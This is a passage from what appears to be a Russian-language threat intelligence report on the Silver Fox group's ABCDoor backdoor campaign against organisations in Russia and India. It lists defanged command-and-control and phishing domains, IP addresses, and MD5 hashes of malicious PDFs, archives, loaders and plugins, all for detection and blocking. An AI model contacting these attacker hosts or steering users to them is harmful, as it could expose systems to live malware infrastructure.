abc.doublemobile[.]com
C2 загрузчиков ABCDoor
mcagov[.]cc
roldco[.]com
C2 вредоносных утилит для удаленного управления
vnc.kcii2[.]com
Сервер распространения фишинговых PDF, архивов и зашифрованных RustSL-нагрузок
abc.haijing88[.]com
ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28
IP
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205
Хэши
Фишинговые PDF-файлы
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD
SFX-архивы с загрузчиком ABCDoor
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D
ZIP-архивы с вышеприведенными SFX-архивами
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049
run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833
run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556
Загрузчики Silver Fox RustSL
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A
Плагины ValleyRAT для установки ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE
Стейджеры и загрузчики ABCDoor
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724
Вредоносные VNC инсталляторы, используемые в атаках в августе 2025
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2
.pyd-файлы ABCDoor
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804
























Silver Fox атакует организации в России и Индии с использованием нового бэкдора ABCDoor